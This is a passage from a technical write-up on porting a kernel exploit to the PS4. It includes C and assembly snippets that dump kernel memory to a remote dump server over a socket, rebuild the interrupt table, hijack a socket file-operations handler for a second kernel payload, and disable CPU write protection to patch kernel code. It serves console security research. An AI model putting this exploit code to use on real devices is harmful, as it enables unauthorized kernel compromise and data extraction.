Brute forcing this offset was extremely tedious since I could only try one at a time, and the PS4 needed to reboot into safe mode after each time it had run a test and panicked (takes just under 2 minutes); every time I fixed something in the code I had to go through all these offsets again. Additionally, since the exploit isn't quite 100% reliable, I mistakenly tried and disregarded the correct offset several times without realising.
</p>
<p>
It was a massive endurance, but I eventually found the correct <code>td->td_critnest</code> offset.
</p>
<br>
<h3>Other PS4 quirks</h3>
<p>
Aside from the fixed offsets and addresses, there are a few other things we need to account for when porting the code to PS4. Since we can't perform <code>PROT_EXEC</code> mappings directly, we need to to use the JIT technique described earlier to map the payload.
</p>
<p>
Fixed mappings must be aligned to <code>PAGE_SIZE</code>, which is 4KB by default on FreeBSD, but 16KB for PS4.
</p>
<br>
<h2>Dumping the kernel</h2>
<p>
Since restoring the kernel to a stable state relies on cleaning up many different addresses in the IDT, I decided that it would be a good idea to first verify that the payload was successfully being executed by dumping kernel memory over a socket.
</p>
<p>
Using <code>sysctl</code>, I was able to extract the addresses of the <code>send</code> related functions:
</p>
<pre><code>#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff82473d7c at sleepq_wait_sig+0x13c
#2 0xffffffff82473c4b at sleepq_wait_sig+0xb
#3 0xffffffff8243f2da at _sleep+0x25a
#4 0xffffffff82493f07 at sbwait+0xd7
#5 0xffffffff82497181 at sosend_generic+0x291
#6 0xffffffff8249ea70 at kern_sendit+0x170
#7 0xffffffff8249ed8f at sys_sendto+0x17f
#8 0xffffffff8249ec69 at sys_sendto+0x59
#9 0xffffffff82616735 at amd64_syscall+0x4c5
#10 0xffffffff825ff357 at Xfast_syscall+0xf7</code></pre>
<br>
<p>
We can use <code>sys_sendto</code> directly from the kernel without needing to restore the system to a fully stable state.
</p>
<pre><code class="language-c">// From userland:
// Open a socket and connect it to our dump server
struct sockaddr_in server;
server.sin_len = sizeof(server);
server.sin_family = AF_INET;
server.sin_addr.s_addr = IP(192, 168, 0, 4);
server.sin_port = sceNetHtons(9023);
memset(server.sin_zero, 0, sizeof(server.sin_zero));
int sock = sceNetSocket("dumper", AF_INET, SOCK_STREAM, 0);
sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));
// Disable packet queuing
int flag = 1;
sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int));
// Allocate and prefault over dump memory
dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
prefault(dump, PAGE_SIZE);
// From kernel:
struct thread *td;
// Switch back to kernel GS base
asm volatile("swapgs");
// Get td address
asm volatile("mov %0, gs:0" : "=r"(td));
// Copy some kernel memory into userland memory
memcpy(dump, (void *)0xffffffff8249ec10, 0x1000);
int (*sys_sendto)(ScePthread td, struct sendto_args *uap) = (void *)0xffffffff8249ec10;
struct sendto_args args = { sock, dump, 0x1000, 0, NULL, 0 };
while(sys_sendto(td, &args) == EINTR);</code></pre>
<br>
<h2>Analysing the kernel dump</h2>
<p>
I scanned through the kernel address space and discovered that the kernel was stored in RAM as a <code>0xeac180</code> byte ELF from address <code>0xffffffff80700000</code>, and data was stored from <code>0xffffffff82cfc000</code> onwards. This ELF can be loaded into IDA Pro with all symbols.
</p>
<p>
We can now easily find the addresses needed to call other kernel functions, restore kernel state, hook other kernel function pointers, and much more.
</p>
<p>
You can also extract the DualShock 4 firmware from <code>0xFFFFFFFF82A0BBF0</code>, size: <code>0x38000</code> bytes. It is ARM code, based at <code>0x8000</code>.
</p>
<br>
<h2>Restoring kernel state</h2>
<p>
Whilst developing the FreeBSD exploit, we had the luxury of dumping the IDT with a debugger before and after triggering the exploit to see which bytes were corrupt, and fix them accordingly. Unfortunately, for PS4 we can only dump the IDT after triggering the exploit.
</p>
<p>
Rather than inspecting all of the IDT entries manually for corruption, I found the <a href="https://github.com/freebsd/freebsd/blob/release/9.0.0/sys/amd64/amd64/machdep.c#L1641">IDT initialisation code in FreeBSD</a> and copied it into the PS4 payload using fixed function addresses taken from the kernel dump. This re-initialised the IDT to its correct state:
</p>
<pre><code class="language-c">// Rewrite IDT
void (*setidt)() = (void *)0xFFFFFFFF82603FA0;
setidt(IDT_DE, 0xFFFFFFFF825FED40, SDT_SYSIGT, SEL_KPL, 0);
setidt(IDT_DB, 0xFFFFFFFF825FECB0, SDT_SYSIGT, SEL_KPL, 0);
setidt(IDT_NMI, 0xFFFFFFFF825FF3E0, SDT_SYSIGT, SEL_KPL, 2);
...</code></pre>
<br>
<p>
However, if you plan to release any kernel code, I would advise you to dynamically resolve these function addresses at runtime as demonstrated by fail0verflow in their <a href="https://github.com/fail0verflow/ps4-kexec/blob/master/kernel.c">kexec system call implementation</a>.
</p>
<br>
<h2>Kernel code execution under less critical context</h2>
<p>
As explained earlier, the payload executes under a very unstable double-fault context, such that accessing any unpaged memory will cause a triple fault and crash the system.
</p>
<p>
This context is not very practical or safe for general kernel payload development. Instead, we use this initial code execution to hijack the <code>socketops->fo_chmod</code> handler:
</p>
<pre><code class="language-c">struct fileops *socketops = (struct fileops *)0xFFFFFFFF83242C40;
original_fo_chmod = socketops->fo_chmod;
socketops->fo_chmod = payload;</code></pre>
<br>
<p>
After returning to userland, we can now re-enter the kernel by using the <code>fchmod</code> system call to trigger our second payload:
</p>
<pre><code class="language-c">int s = sceNetSocket("kernelTrigger", AF_INET, SOCK_STREAM, 0);
if(s > 0) {
printf("Triggering second kernel payload\n");
fchmod(s, 0);
}
else printf("Failed to allocate socket\n");
sceNetSocketClose(s);</code></pre>
<br>
<p>
We have a lot more freedom in this context, and can easily restore the original handler when finished:
</p>
<pre><code class="language-c">// We are in a normal kernel context here
int payload(void *fp, int mode, void *active_cred, struct thread *td) {
int (*sendto)(struct thread *td, struct sendto_args *uap) = (void *)sys_sendto;
struct sendto_args args = { sock, payloadMessage, strlen(payloadMessage), 0, NULL, 0 };
sendto(td, &args);
// Restore original handler
struct fileops *socketops = (struct fileops *)0xFFFFFFFF83242C40;
socketops->fo_chmod = original_fo_chmod;
return 22;
}</code></pre>
<br>
<h2>Reliability</h2>
<p>
The exploit is fairly reliable, however there are a few odd cases. For example, occasionally the first kernel payload (called from the hijacked <code>#PF</code> handler) will be triggered twice:
</p>
<pre><code>[+] Here goes...
[+] Entered critical payload
[+] Entered shellcode
[+] UID: 0, GID: 0
[+] Triggering second kernel payload
[+] Entered main payload
[+] Entered critical payload
[+] Entered shellcode</code></pre>
<br>
<p>
There are many potential explanations for what causes this, including some form of cache incoherency between processors, or preemption of the kernel task before the IDT is fixed.
</p>
<p>
Since this is fairly rare, and it isn't much of an issue (I'd rather the payload was triggered twice than not triggered at all), I haven't bothered to look into exactly what causes this yet.
</p>
<br>
<h2>Disabling CPU write protection</h2>
<p>
To make patches to kernel code, bit 16 of the <code>cr0</code> register should be cleared. This disables write protection on the CPU so that we can freely write to memory mapped as read only:
</p>
<pre><code class="language-c">#define X86_CR0_WP (1 << 16)
static inline uint64_t readCr0(void) {
uint64_t cr0;
asm volatile (
"movq %%cr0, %0"
: "=r" (cr0)
: : "memory"
);
return cr0;
}
static inline void writeCr0(uint64_t cr0) {
asm volatile (
"movq %0, %%cr0"
: : "r" (cr0)
: "memory"
);
}
// Disable write protection
uint64_t cr0 = readCr0();
writeCr0(cr0 & ~X86_CR0_WP);
// Patch something
// Restore write protection
writeCr0(cr0);</code></pre>
<br>
<p>
<i>The above code uses AT&T syntax x86 assembly.</i>